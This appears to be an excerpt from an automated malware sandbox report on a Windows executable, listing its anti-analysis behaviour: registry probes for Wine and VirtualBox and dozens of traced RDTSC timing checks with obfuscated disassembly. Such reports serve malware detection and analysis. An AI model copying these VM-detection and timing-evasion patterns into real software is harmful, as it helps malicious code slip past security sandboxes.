Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 61CF2B second address: 61CF32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 631E44 second address: 631E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 631E49 second address: 631E60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F882D0EBF02h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 631E60 second address: 631E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F882CB4753Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f js 00007F882CB4753Eh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 631FE7 second address: 631FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 632420 second address: 632445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F882CB47542h 0x0000000b jne 00007F882CB47536h 0x00000011 jg 00007F882CB47536h 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007F882CB47536h 0x0000001f jnp 00007F882CB47536h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 632445 second address: 63246C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF06h 0x00000007 jmp 00007F882D0EBEFAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6325BA second address: 6325BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6325BE second address: 6325C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6325C2 second address: 632610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F882CB47542h 0x0000000f jmp 00007F882CB47547h 0x00000014 jnl 00007F882CB47538h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F882CB47542h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6359C8 second address: 6359DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6359DF second address: 635A1A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F882CB4754Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F882CB47547h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635A1A second address: 635A4C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F882D0EBF01h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F882D0EBF07h 0x00000016 jmp 00007F882D0EBF01h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635A4C second address: 635AD7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F882CB47538h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007F882CB47541h 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jp 00007F882CB4753Eh 0x00000025 pop eax 0x00000026 mov esi, dword ptr [ebp+122D248Ch] 0x0000002c push 00000003h 0x0000002e sbb ecx, 1366E642h 0x00000034 push 00000000h 0x00000036 call 00007F882CB47546h 0x0000003b clc 0x0000003c pop ecx 0x0000003d mov ecx, 25629001h 0x00000042 push 00000003h 0x00000044 pushad 0x00000045 push edi 0x00000046 or bx, 9A38h 0x0000004b pop ebx 0x0000004c sub dword ptr [ebp+122D1B5Bh], esi 0x00000052 popad 0x00000053 call 00007F882CB47539h 0x00000058 push eax 0x00000059 push edx 0x0000005a je 00007F882CB47538h 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635AD7 second address: 635AE1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F882D0EBEFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635AE1 second address: 635B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pushad 0x00000009 jmp 00007F882CB4753Ah 0x0000000e jp 00007F882CB47536h 0x00000014 popad 0x00000015 pop edi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push ebx 0x0000001b pushad 0x0000001c jmp 00007F882CB4753Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635B0F second address: 635B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F882D0EBEFBh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jmp 00007F882D0EBF08h 0x00000016 pop eax 0x00000017 mov dword ptr [ebp+122D1A1Bh], eax 0x0000001d sub dword ptr [ebp+122D1B63h], ebx 0x00000023 lea ebx, dword ptr [ebp+12451899h] 0x00000029 sbb ecx, 2F490299h 0x0000002f xchg eax, ebx 0x00000030 push ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635B5D second address: 635B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635C01 second address: 635CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 23949001h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F882D0EBEF8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 push 00000003h 0x0000002b xor dword ptr [ebp+122D249Eh], ebx 0x00000031 call 00007F882D0EBF04h 0x00000036 push ecx 0x00000037 sbb dh, 00000056h 0x0000003a pop esi 0x0000003b pop edx 0x0000003c push 00000000h 0x0000003e or ecx, dword ptr [ebp+122D1A7Eh] 0x00000044 push 00000003h 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007F882D0EBEF8h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 0000001Ch 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 stc 0x00000061 sub dword ptr [ebp+122D1A1Bh], esi 0x00000067 call 00007F882D0EBEF9h 0x0000006c push eax 0x0000006d push edx 0x0000006e jnp 00007F882D0EBEFCh 0x00000074 jng 00007F882D0EBEF6h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635CA3 second address: 635D0B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F882CB4753Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F882CB47541h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop ebx 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jl 00007F882CB47545h 0x00000020 jmp 00007F882CB4753Fh 0x00000025 mov eax, dword ptr [eax] 0x00000027 push edx 0x00000028 push ecx 0x00000029 push eax 0x0000002a pop eax 0x0000002b pop ecx 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 jng 00007F882CB47559h 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F882CB47543h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635E94 second address: 635E9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 635E9A second address: 635F0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F882CB47540h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add dword ptr [esp], 588BC1BBh 0x00000014 mov dword ptr [ebp+122D3234h], ecx 0x0000001a lea ebx, dword ptr [ebp+124518ADh] 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F882CB47538h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a jnp 00007F882CB4753Ch 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 je 00007F882CB47542h 0x00000049 jmp 00007F882CB4753Ch 0x0000004e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6544C5 second address: 6544C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6544C9 second address: 654509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47546h 0x00000007 jmp 00007F882CB47545h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007F882CB4753Ch 0x00000014 jnc 00007F882CB47536h 0x0000001a push ebx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 654509 second address: 654518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ecx 0x00000007 jl 00007F882D0EBEFCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 654518 second address: 654524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007F882CB47536h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 654785 second address: 6547A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F882D0EBF00h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6547A1 second address: 6547A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6547A5 second address: 6547A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6547A9 second address: 6547BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F882CB4753Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6547BF second address: 6547CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F882D0EBEF6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6547CF second address: 6547DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6547DE second address: 6547F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F882D0EBEFDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 65494D second address: 654953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 654953 second address: 65495D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F882D0EBEF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 654D6D second address: 654D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 654D72 second address: 654D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F882D0EBEF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 654FE2 second address: 654FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 654FE6 second address: 655017 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F882D0EBEFFh 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007F882D0EBF04h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655017 second address: 655029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F882CB4753Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655029 second address: 65504B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F882D0EBF05h 0x0000000c jp 00007F882D0EBEF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655191 second address: 6551AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F882CB47544h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6551AD second address: 6551CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF08h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6551CA second address: 6551D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655474 second address: 655492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F882D0EBF02h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655492 second address: 655496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655496 second address: 65549C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 65549C second address: 6554A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655616 second address: 655634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F882D0EBEFCh 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 64AFE2 second address: 64AFE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655D98 second address: 655DE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F882D0EBEF6h 0x00000009 ja 00007F882D0EBEF6h 0x0000000f jmp 00007F882D0EBEFEh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jbe 00007F882D0EBEFEh 0x0000001e pushad 0x0000001f ja 00007F882D0EBEF6h 0x00000025 je 00007F882D0EBEF6h 0x0000002b jmp 00007F882D0EBF00h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 655DE6 second address: 655DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F882CB4753Eh 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 656042 second address: 656062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F882D0EBF09h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 656062 second address: 656067 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6561C0 second address: 6561CA instructions: 0x00000000 rdtsc 0x00000002 js 00007F882D0EBEFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 658470 second address: 658474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6579CB second address: 6579D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F882D0EBEFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 658B59 second address: 658B5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 658B5F second address: 658B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 658B65 second address: 658B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 661ABC second address: 661AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F882D0EBEF6h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 661AC9 second address: 661ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6611C9 second address: 6611CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6611CD second address: 6611FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB4753Eh 0x00000007 jmp 00007F882CB47545h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007F882CB4753Eh 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6611FE second address: 661205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66225E second address: 662263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 662263 second address: 662298 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 128C4100h 0x00000011 adc esi, 36423CECh 0x00000017 call 00007F882D0EBEF9h 0x0000001c jl 00007F882D0EBEFAh 0x00000022 push ecx 0x00000023 pushad 0x00000024 popad 0x00000025 pop ecx 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jno 00007F882D0EBEF6h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 662298 second address: 66229C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66229C second address: 6622A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6622A2 second address: 6622E4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d jns 00007F882CB47544h 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnp 00007F882CB47544h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6622E4 second address: 6622E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6622E8 second address: 6622EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 662428 second address: 66243E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882D0EBF02h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66243E second address: 662450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jl 00007F882CB4753Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6625DC second address: 6625E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 66296D second address: 662977 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F882CB47536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 662F56 second address: 662F6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b or esi, 114A76D5h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 662F6F second address: 662F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
